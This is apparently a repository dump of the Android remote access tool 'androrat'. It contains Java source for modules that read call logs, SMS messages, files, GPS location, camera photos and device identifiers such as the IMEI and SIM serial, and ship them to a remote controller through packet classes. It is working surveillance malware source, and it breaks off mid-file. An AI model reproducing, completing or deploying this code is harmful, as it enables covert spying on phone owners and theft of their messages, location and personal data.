/Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity$1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity$1.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity$2.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity$2.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity$3.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity$3.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity$ByteArrayFinder.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity$ByteArrayFinder.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/LauncherActivity.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/activityclient/ProcessCommand.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/ProcessCommand.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$attr.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$attr.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$drawable.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$drawable.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$id.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$id.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$layout.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$layout.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$string.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$string.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$xml.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R$xml.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/my/app/activityclient/R.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/my/app/activityclient/R.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/out/Connection.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/out/Connection.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/out/Mux.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/out/Mux.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/out/Sender.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/out/Sender.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/utils/Contact.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/utils/Contact.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/utils/EncoderHelper.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/utils/EncoderHelper.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/utils/MyFile.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/utils/MyFile.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/classes/utils/wavIO.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/classes/utils/wavIO.class -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/jarlist.cache: -------------------------------------------------------------------------------- 1 | # cache for current jar dependecy. DO NOT EDIT. 2 | # format is 3 | # Encoding is UTF-8 4 | -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/res/drawable-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/res/drawable-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/res/drawable-ldpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/res/drawable-ldpi/ic_launcher.png -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/res/drawable-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/res/drawable-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/res/drawable-xhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/res/drawable-xhdpi/ic_launcher.png -------------------------------------------------------------------------------- /Experiment/AndroratActivity/bin/resources.ap_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/bin/resources.ap_ -------------------------------------------------------------------------------- /Experiment/AndroratActivity/gen/my/app/activityclient/BuildConfig.java: -------------------------------------------------------------------------------- 1 | /** Automatically generated file. DO NOT MODIFY */ 2 | package my.app.activityclient; 3 | 4 | public final class BuildConfig { 5 | public final static boolean DEBUG = true; 6 | } -------------------------------------------------------------------------------- /Experiment/AndroratActivity/gen/my/app/activityclient/R.java: -------------------------------------------------------------------------------- 1 | /* AUTO-GENERATED FILE. DO NOT MODIFY. 2 | * 3 | * This class was automatically generated by the 4 | * aapt tool from the resource data it found. It 5 | * should not be modified by hand. 6 | */ 7 | 8 | package my.app.activityclient; 9 | 10 | public final class R { 11 | public static final class attr { 12 | } 13 | public static final class drawable { 14 | public static final int ic_launcher=0x7f020000; 15 | } 16 | public static final class id { 17 | public static final int button_capture=0x7f060003; 18 | public static final int camera_preview=0x7f060000; 19 | public static final int ipfield=0x7f060001; 20 | public static final int portfield=0x7f060002; 21 | } 22 | public static final class layout { 23 | public static final int main=0x7f030000; 24 | } 25 | public static final class string { 26 | public static final int app_name=0x7f050001; 27 | public static final int hello=0x7f050000; 28 | } 29 | public static final class xml { 30 | public static final int preferences=0x7f040000; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /Experiment/AndroratActivity/proguard-project.txt: -------------------------------------------------------------------------------- 1 | # To enable ProGuard in your project, edit project.properties 2 | # to define the proguard.config property as described in that file. 3 | # 4 | # Add project specific ProGuard rules here. 5 | # By default, the flags in this file are appended to flags specified 6 | # in ${sdk.dir}/tools/proguard/proguard-android.txt 7 | # You can edit the include path and order by changing the ProGuard 8 | # include property in project.properties. 9 | # 10 | # For more details, see 11 | # http://developer.android.com/guide/developing/tools/proguard.html 12 | 13 | # Add any project specific keep options here: 14 | 15 | # If your project uses WebView with JS, uncomment the following 16 | # and specify the fully qualified class name to the JavaScript interface 17 | # class: 18 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 19 | # public *; 20 | #} 21 | -------------------------------------------------------------------------------- /Experiment/AndroratActivity/project.properties: -------------------------------------------------------------------------------- 1 | # This file is automatically generated by Android Tools. 2 | # Do not modify this file -- YOUR CHANGES WILL BE ERASED! 3 | # 4 | # This file must be checked in Version Control Systems. 5 | # 6 | # To customize properties used by the Ant build system edit 7 | # "ant.properties", and override values to adapt the script to your 8 | # project structure. 9 | # 10 | # To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home): 11 | #proguard.config=${sdk.dir}\tools\proguard\proguard-android.txt:proguard-project.txt 12 | 13 | # Project target. 14 | target=android-8 15 | -------------------------------------------------------------------------------- /Experiment/AndroratActivity/res/drawable-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/res/drawable-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /Experiment/AndroratActivity/res/drawable-ldpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/res/drawable-ldpi/ic_launcher.png -------------------------------------------------------------------------------- /Experiment/AndroratActivity/res/drawable-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/res/drawable-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /Experiment/AndroratActivity/res/drawable-xhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/Experiment/AndroratActivity/res/drawable-xhdpi/ic_launcher.png -------------------------------------------------------------------------------- /Experiment/AndroratActivity/res/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Hello World, AndroratActivity! 5 | ActivityAndrorat 6 | 7 | -------------------------------------------------------------------------------- /Experiment/AndroratActivity/res/xml/preferences.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 10 | 11 | 12 | 16 | 17 | 18 | 22 | 23 | 24 | 28 | 29 | 30 | 34 | 35 | 36 | 40 | 41 | 42 | 43 | -------------------------------------------------------------------------------- /Experiment/AndroratActivity/src/my/app/Library/CallLogLister.java: -------------------------------------------------------------------------------- 1 | package my.app.Library; 2 | 3 | import java.util.ArrayList; 4 | 5 | import my.app.activityclient.ClientListener; 6 | import Packet.CallLogPacket; 7 | import Packet.CallPacket; 8 | import android.database.Cursor; 9 | import android.net.Uri; 10 | import android.provider.CallLog; 11 | 12 | public class CallLogLister { 13 | 14 | 15 | public static boolean listCallLog(ClientListener c, int channel, byte[] args) { 16 | ArrayList l = new ArrayList(); 17 | 18 | boolean ret =false; 19 | String WHERE_CONDITION = new String(args); 20 | String SORT_ORDER = "date DESC"; 21 | String[] column = { "_id", "type", "date", "duration", "number","name" ,"raw_contact_id" }; 22 | 23 | Cursor cursor = c.getContentResolver().query(CallLog.Calls.CONTENT_URI, column , WHERE_CONDITION, null, SORT_ORDER); 24 | 25 | 26 | if(cursor.getCount() != 0) { 27 | cursor.moveToFirst(); 28 | 29 | do{ 30 | if(cursor.getColumnCount() != 0) { 31 | int id = cursor.getInt(cursor.getColumnIndex("_id")); 32 | int type = cursor.getInt(cursor.getColumnIndex("type")); 33 | long date = cursor.getLong(cursor.getColumnIndex("date")); 34 | long duration = cursor.getLong(cursor.getColumnIndex("duration")); 35 | String number = cursor.getString(cursor.getColumnIndex("number")); 36 | String name = cursor.getString(cursor.getColumnIndex("name")); 37 | int raw_contact_id = cursor.getInt(cursor.getColumnIndex("raw_contact_id")); 38 | 39 | l.add(new CallPacket(id, type, date, duration, raw_contact_id, number, name)); 40 | } 41 | }while(cursor.moveToNext()); 42 | ret = true; 43 | } 44 | else 45 | ret = false; 46 | 47 | 48 | 49 | c.handleData(channel, new CallLogPacket(l).build()); 50 | return ret; 51 | } 52 | 53 | } 54 | -------------------------------------------------------------------------------- /Experiment/AndroratActivity/src/my/app/Library/FileDownloader.java: -------------------------------------------------------------------------------- 1 | package my.app.Library; 2 | 3 | import java.io.File; 4 | import java.io.FileInputStream; 5 | import java.io.FileNotFoundException; 6 | import java.io.IOException; 7 | import java.io.InputStream; 8 | 9 | import my.app.activityclient.ClientListener; 10 | 11 | import Packet.FilePacket; 12 | 13 | public class FileDownloader { 14 | 15 | ClientListener ctx; 16 | byte[] finalData; 17 | InputStream in; 18 | File f; 19 | int channel; 20 | FilePacket packet; 21 | byte[] buffer; 22 | short numseq = 0; 23 | int BUFF_SIZE = 4096; 24 | 25 | public FileDownloader(ClientListener c) { 26 | ctx = c; 27 | } 28 | 29 | public boolean downloadFile(String s, int chan) { 30 | channel = chan; 31 | f = new File(s); 32 | try { 33 | in = new FileInputStream(f); 34 | } catch (FileNotFoundException e) { 35 | return false; 36 | } 37 | 38 | Thread loadf = new Thread(new Runnable() { 39 | public void run() { 40 | load(); 41 | } 42 | }); 43 | loadf.start(); 44 | 45 | return true; 46 | } 47 | 48 | public void load() { 49 | try { 50 | while(true) { 51 | buffer = new byte[BUFF_SIZE]; 52 | int read = in.read(buffer); 53 | if (read == -1) { 54 | break; 55 | } 56 | if (read == BUFF_SIZE) { 57 | packet = new FilePacket(numseq, (byte) 1, buffer); 58 | ctx.handleData(channel, packet.build()); 59 | numseq ++; 60 | } 61 | else {//C'était le dernier paquet 62 | byte[] tmp = new byte[read]; 63 | System.arraycopy(buffer, 0, tmp, 0, read); 64 | packet = new FilePacket(numseq, (byte) 0, tmp); 65 | ctx.handleData(channel, packet.build()); 66 | break; 67 | } 68 | } 69 | in.close(); 70 | } 71 | catch(IOException e) { 72 | ctx.sendError("IOException loading file"); 73 | } 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /Experiment/AndroratActivity/src/my/app/Library/GPSListener.java: -------------------------------------------------------------------------------- 1 | package my.app.Library; 2 | 3 | import java.nio.ByteBuffer; 4 | 5 | import Packet.GPSPacket; 6 | 7 | import android.content.Context; 8 | import android.location.Location; 9 | import android.location.LocationListener; 10 | import android.location.LocationManager; 11 | 12 | public class GPSListener { 13 | 14 | private Context ctx; 15 | private String provider; 16 | private LocationManager mlocManager; 17 | private LocationListener listener; 18 | private int channel ; 19 | private GPSPacket packet; 20 | 21 | public GPSListener(LocationListener c, String prov, int chan) { 22 | listener = c; 23 | provider = prov; 24 | channel = chan ; 25 | 26 | packet = new GPSPacket(); 27 | 28 | mlocManager = (LocationManager) ((Context) c).getSystemService(Context.LOCATION_SERVICE); 29 | mlocManager.requestLocationUpdates( prov, 0, 0, listener); 30 | //mlocManager.requestLocationUpdates( LocationManager.NETWORK_PROVIDER, 0, 0, listener); 31 | } 32 | 33 | public void stop() { 34 | if (mlocManager != null) { 35 | mlocManager.removeUpdates(listener); 36 | } 37 | } 38 | 39 | 40 | public byte[] encode(Location loc) { 41 | packet = new GPSPacket(loc.getLatitude(), loc.getLongitude(), loc.getAltitude(), loc.getSpeed(), loc.getAccuracy()); 42 | return packet.build(); 43 | /* 44 | ByteBuffer b = ByteBuffer.allocate(32); 45 | b.putDouble(loc.getLongitude()); 46 | b.putDouble(loc.getLatitude()); 47 | b.putDouble(loc.getAltitude()); 48 | b.putFloat(loc.getAccuracy()); 49 | b.putFloat(loc.getSpeed()); 50 | return b.array(); 51 | */ 52 | } 53 | 54 | public int getChannel() 55 | { 56 | return channel; 57 | } 58 | 59 | } -------------------------------------------------------------------------------- /Experiment/AndroratActivity/src/my/app/Library/PhotoTaker.java: -------------------------------------------------------------------------------- 1 | package my.app.Library; 2 | 3 | import java.io.IOException; 4 | 5 | import my.app.activityclient.ClientListener; 6 | import android.content.Context; 7 | import android.content.Intent; 8 | import android.content.pm.PackageManager; 9 | import android.hardware.Camera; 10 | import android.hardware.Camera.PictureCallback; 11 | import android.sax.StartElementListener; 12 | import android.util.Log; 13 | import android.view.SurfaceHolder; 14 | import android.view.SurfaceView; 15 | 16 | public class PhotoTaker { 17 | 18 | Camera cam; 19 | ClientListener ctx; 20 | int chan ; 21 | SurfaceHolder holder; 22 | SurfaceView view; 23 | 24 | private PictureCallback pic = new PictureCallback() { 25 | 26 | public void onPictureTaken(byte[] data, Camera camera) { 27 | 28 | ctx.handleData(chan, data); 29 | Log.i("PhotoTaker", "After take picture !"); 30 | cam.release(); 31 | cam = null; 32 | } 33 | }; 34 | 35 | public PhotoTaker(ClientListener c, int chan) { 36 | this.chan = chan ; 37 | ctx = c; 38 | } 39 | 40 | public PhotoTaker(ClientListener c, int chan,SurfaceView v) { 41 | this.chan = chan ; 42 | ctx = c; 43 | this.view = v; 44 | } 45 | /* 46 | public boolean takePhoto() { 47 | Intent photoActivity = new Intent(this, PhotoActivity.class); 48 | photoActivity.setAction(PhotoTaker.class.getName()); 49 | ctx.star 50 | } 51 | */ 52 | 53 | public boolean takePhoto() { 54 | if(!(ctx.getApplicationContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA))) 55 | return false; 56 | Log.i("PhotoTaker", "Just before Open !"); 57 | try { 58 | cam = Camera.open(); 59 | } catch (Exception e) { return false; } 60 | 61 | Log.i("PhotoTaker", "Right after Open !"); 62 | 63 | if (cam == null) 64 | return false; 65 | 66 | if(view == null) 67 | view = new SurfaceView(ctx); 68 | try { 69 | holder = view.getHolder(); 70 | cam.setPreviewDisplay(holder); 71 | } catch(IOException e) { return false; } 72 | 73 | Log.i("PhotoTaker","Surface valid: "+holder.getSurface().isValid()); 74 | 75 | cam.startPreview(); 76 | 77 | Log.i("PhotoTaker","Surface valid after preview: "+holder.getSurface().isValid()); 78 | 79 | cam.takePicture(null, null, pic); 80 | 81 | return true; 82 | } 83 | 84 | 85 | } 86 | -------------------------------------------------------------------------------- /Experiment/AndroratActivity/src/my/app/Library/SMSLister.java: -------------------------------------------------------------------------------- 1 | package my.app.Library; 2 | 3 | import java.util.ArrayList; 4 | 5 | import android.database.Cursor; 6 | import android.net.Uri; 7 | 8 | import Packet.SMSPacket; 9 | import Packet.SMSTreePacket; 10 | import my.app.activityclient.ClientListener; 11 | 12 | public class SMSLister { 13 | 14 | //ClientListener ctx; 15 | //int channel; 16 | 17 | public static boolean listSMS(ClientListener c, int channel, byte[] args) { 18 | ArrayList l = new ArrayList(); 19 | 20 | boolean ret = false; 21 | String WHERE_CONDITION = new String(args); 22 | String SORT_ORDER = "date DESC"; 23 | String[] column = { "_id", "thread_id", "address", "person", "date","read" ,"body", "type" }; 24 | String CONTENT_URI = "content://sms/"; //content://sms/inbox, content://sms/sent 25 | 26 | Cursor cursor = c.getContentResolver().query(Uri.parse(CONTENT_URI), column , WHERE_CONDITION, null, SORT_ORDER); 27 | 28 | 29 | if(cursor.getCount() != 0) { 30 | cursor.moveToFirst(); 31 | 32 | do{ 33 | if(cursor.getColumnCount() != 0) { 34 | int id = cursor.getInt(cursor.getColumnIndex("_id")); 35 | int thid = cursor.getInt(cursor.getColumnIndex("thread_id")); 36 | String add = cursor.getString(cursor.getColumnIndex("address")); 37 | int person = cursor.getInt(cursor.getColumnIndex("person")); 38 | long date = cursor.getLong(cursor.getColumnIndex("date")); 39 | int read = cursor.getInt(cursor.getColumnIndex("read")); 40 | String body = cursor.getString(cursor.getColumnIndex("body")); 41 | int type = cursor.getInt(cursor.getColumnIndex("type")); 42 | l.add(new SMSPacket(id, thid, add, person, date, read, body, type)); 43 | } 44 | }while(cursor.moveToNext()); 45 | ret = true; 46 | } 47 | else 48 | ret = false; 49 | 50 | 51 | c.handleData(channel, new SMSTreePacket(l).build()); 52 | return ret; 53 | } 54 | 55 | } 56 | -------------------------------------------------------------------------------- /Experiment/AndroratActivity/src/my/app/Library/SystemInfo.java: -------------------------------------------------------------------------------- 1 | package my.app.Library; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.ObjectOutputStream; 6 | import java.util.Hashtable; 7 | 8 | import android.content.Context; 9 | import android.telephony.TelephonyManager; 10 | 11 | public class SystemInfo { 12 | 13 | Context ctx; 14 | TelephonyManager tm; 15 | 16 | public SystemInfo(Context c) { 17 | ctx = c; 18 | tm = (TelephonyManager) ctx.getSystemService(Context.TELEPHONY_SERVICE); 19 | } 20 | 21 | public String getPhoneNumber() { 22 | return tm.getLine1Number(); 23 | } 24 | 25 | public String getIMEI() { 26 | return tm.getDeviceId(); 27 | } 28 | 29 | public String getCountryCode() { 30 | return tm.getNetworkCountryIso(); 31 | } 32 | 33 | public String getOperatorName() { 34 | return tm.getNetworkOperatorName(); 35 | } 36 | 37 | public String getSimCountryCode() { 38 | return tm.getSimCountryIso(); 39 | } 40 | 41 | public String getSimOperatorName() { 42 | return tm.getSimOperatorName(); 43 | } 44 | 45 | public String getSimSerial() { 46 | return tm.getSimSerialNumber(); 47 | } 48 | 49 | public byte[] getBasicInfos() { 50 | Hashtable h = new Hashtable(); 51 | String res; 52 | res = getIMEI(); 53 | if(res != null) 54 | h.put("IMEI", res); 55 | res = getPhoneNumber(); 56 | if(res != null) 57 | h.put("PhoneNumber", res); 58 | res = getCountryCode(); 59 | if(res != null) 60 | h.put("Country", res); 61 | res = getOperatorName(); 62 | if(res != null) 63 | h.put("Operator",res); 64 | res = getSimCountryCode(); 65 | if(res != null) 66 | h.put("SimCountry", res); 67 | res = getSimOperatorName(); 68 | if(res != null) 69 | h.put("SimOperator", res); 70 | res= getSimSerial(); 71 | if(res != null) 72 | h.put("SimSerial", res); 73 | 74 | try { 75 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 76 | ObjectOutputStream out = new ObjectOutputStream(bos); 77 | out.writeObject(h); 78 | return bos.toByteArray(); 79 | } catch (IOException e) { 80 | return null; 81 | } 82 | } 83 | 84 | 85 | 86 | } 87 | -------------------------------------------------------------------------------- /Experiment/InOut/Packet/CallLogPacket.java: -------------------------------------------------------------------------------- 1 | package Packet; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.IOException; 6 | import java.io.ObjectInputStream; 7 | import java.io.ObjectOutputStream; 8 | import java.util.ArrayList; 9 | 10 | public class CallLogPacket implements Packet{ 11 | 12 | private ArrayList list; 13 | 14 | public CallLogPacket() { 15 | 16 | } 17 | 18 | public CallLogPacket(ArrayList ar) { 19 | list = ar; 20 | } 21 | 22 | public byte[] build() { 23 | try { 24 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 25 | ObjectOutputStream out = new ObjectOutputStream(bos); 26 | out.writeObject(list); 27 | return bos.toByteArray(); 28 | } catch (IOException e) { 29 | return null; 30 | } 31 | } 32 | 33 | public void parse(byte[] packet) { 34 | ByteArrayInputStream bis = new ByteArrayInputStream(packet); 35 | ObjectInputStream in; 36 | try { 37 | in = new ObjectInputStream(bis); 38 | list = (ArrayList) in.readObject(); 39 | } catch (Exception e) { 40 | } 41 | } 42 | 43 | public ArrayList getList() { 44 | return list; 45 | } 46 | } -------------------------------------------------------------------------------- /Experiment/InOut/Packet/CallStatusPacket.java: -------------------------------------------------------------------------------- 1 | package Packet; 2 | 3 | import java.nio.ByteBuffer; 4 | 5 | public class CallStatusPacket implements Packet{ 6 | 7 | int type; 8 | /* 9 | * 1 -> Incoming call 10 | * 2 -> Missed call 11 | * 3 -> Call accepted 12 | * 4 -> Call send 13 | * 5 -> Hang Up 14 | * 15 | */ 16 | String phonenumber; 17 | 18 | public CallStatusPacket() { 19 | 20 | } 21 | 22 | public CallStatusPacket(int type, String phone) { 23 | this.type = type; 24 | this.phonenumber = phone; 25 | } 26 | 27 | public byte[] build() { 28 | ByteBuffer b; 29 | if(phonenumber == null) { 30 | b = ByteBuffer.allocate(4); 31 | b.putInt(type); 32 | } 33 | else { 34 | b = ByteBuffer.allocate(4+phonenumber.length()); 35 | b.putInt(type); 36 | b.put(phonenumber.getBytes()); 37 | } 38 | return b.array(); 39 | } 40 | 41 | public void parse(byte[] packet) { 42 | ByteBuffer b= ByteBuffer.wrap(packet); 43 | this.type = b.getInt(); 44 | if(b.hasRemaining()) { 45 | byte[] tmp = new byte[b.remaining()]; 46 | b.get(tmp); 47 | this.phonenumber = new String(tmp); 48 | } 49 | else 50 | this.phonenumber = null; 51 | } 52 | 53 | public int getType() { 54 | return type; 55 | } 56 | 57 | public String getPhonenumber() { 58 | return phonenumber; 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /Experiment/InOut/Packet/CommandPacket.java: -------------------------------------------------------------------------------- 1 | package Packet; 2 | 3 | import java.nio.ByteBuffer; 4 | 5 | public class CommandPacket implements Packet { 6 | private short commande; 7 | private int targetChannel; 8 | private byte[] argument; 9 | 10 | public CommandPacket() { 11 | 12 | } 13 | 14 | public CommandPacket(short cmd, int targetChannel, byte[] arg) { 15 | this.commande = cmd; 16 | this.argument = arg; 17 | this.targetChannel = targetChannel; 18 | } 19 | 20 | public void parse(byte[] packet) { 21 | ByteBuffer b = ByteBuffer.wrap(packet); 22 | this.commande = b.getShort(); 23 | this.targetChannel = b.getInt(); 24 | this.argument = new byte[b.remaining()]; 25 | b.get(argument, 0, b.remaining()); 26 | } 27 | 28 | public void parse(ByteBuffer b) { 29 | this.commande = b.getShort(); 30 | this.targetChannel = b.getInt(); 31 | this.argument = new byte[b.remaining()]; 32 | b.get(argument, 0, b.remaining()); 33 | } 34 | 35 | public byte[] build() { 36 | byte[] byteCmd = ByteBuffer.allocate(2).putShort(commande).array(); 37 | byte[] byteTargChan = ByteBuffer.allocate(4).putInt(targetChannel).array(); 38 | byte[] cmdToSend = new byte[byteCmd.length + byteTargChan.length + argument.length]; 39 | 40 | System.arraycopy(byteCmd, 0, cmdToSend, 0, byteCmd.length); 41 | System.arraycopy(byteTargChan, 0, cmdToSend, byteCmd.length, byteTargChan.length); 42 | System.arraycopy(argument, 0, cmdToSend, byteCmd.length + byteTargChan.length, argument.length); 43 | 44 | return cmdToSend; 45 | } 46 | 47 | public short getCommand() { 48 | return commande; 49 | } 50 | 51 | public byte[] getArguments() { 52 | return argument; 53 | } 54 | 55 | public int getTargetChannel() { 56 | return targetChannel; 57 | } 58 | 59 | } 60 | -------------------------------------------------------------------------------- /Experiment/InOut/Packet/ContactsPacket.java: -------------------------------------------------------------------------------- 1 | package Packet; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.IOException; 6 | import java.io.ObjectInputStream; 7 | import java.io.ObjectOutputStream; 8 | import java.util.ArrayList; 9 | 10 | import utils.Contact; 11 | 12 | public class ContactsPacket implements Packet{ 13 | 14 | ArrayList list; 15 | 16 | public ContactsPacket() { 17 | 18 | } 19 | 20 | public ContactsPacket(ArrayList ar) { 21 | list = ar; 22 | } 23 | 24 | public byte[] build() { 25 | try { 26 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 27 | ObjectOutputStream out = new ObjectOutputStream(bos); 28 | out.writeObject(list); 29 | return bos.toByteArray(); 30 | } catch (IOException e) { 31 | return null; 32 | } 33 | } 34 | 35 | public void parse(byte[] packet) { 36 | ByteArrayInputStream bis = new ByteArrayInputStream(packet); 37 | ObjectInputStream in; 38 | try { 39 | in = new ObjectInputStream(bis); 40 | list = (ArrayList) in.readObject(); 41 | } catch (Exception e) { 42 | } 43 | } 44 | 45 | public ArrayList getList() { 46 | return list; 47 | } 48 | } -------------------------------------------------------------------------------- /Experiment/InOut/Packet/FilePacket.java: -------------------------------------------------------------------------------- 1 | package Packet; 2 | 3 | import java.nio.ByteBuffer; 4 | 5 | public class FilePacket implements Packet { 6 | 7 | byte[] data; 8 | byte mf; 9 | short numSeq; 10 | 11 | public FilePacket() { 12 | 13 | } 14 | 15 | public FilePacket(short num, byte mf, byte[] data) { 16 | this.data = data; 17 | this.numSeq = num; 18 | this.mf = mf; 19 | } 20 | 21 | public byte[] build() { 22 | ByteBuffer b = ByteBuffer.allocate(data.length+3); 23 | b.putShort(numSeq); 24 | b.put(mf); 25 | b.put(data); 26 | return b.array(); 27 | } 28 | 29 | public void parse(byte[] packet) { 30 | ByteBuffer b = ByteBuffer.wrap(packet); 31 | 32 | numSeq = b.getShort(); 33 | mf = b.get(); 34 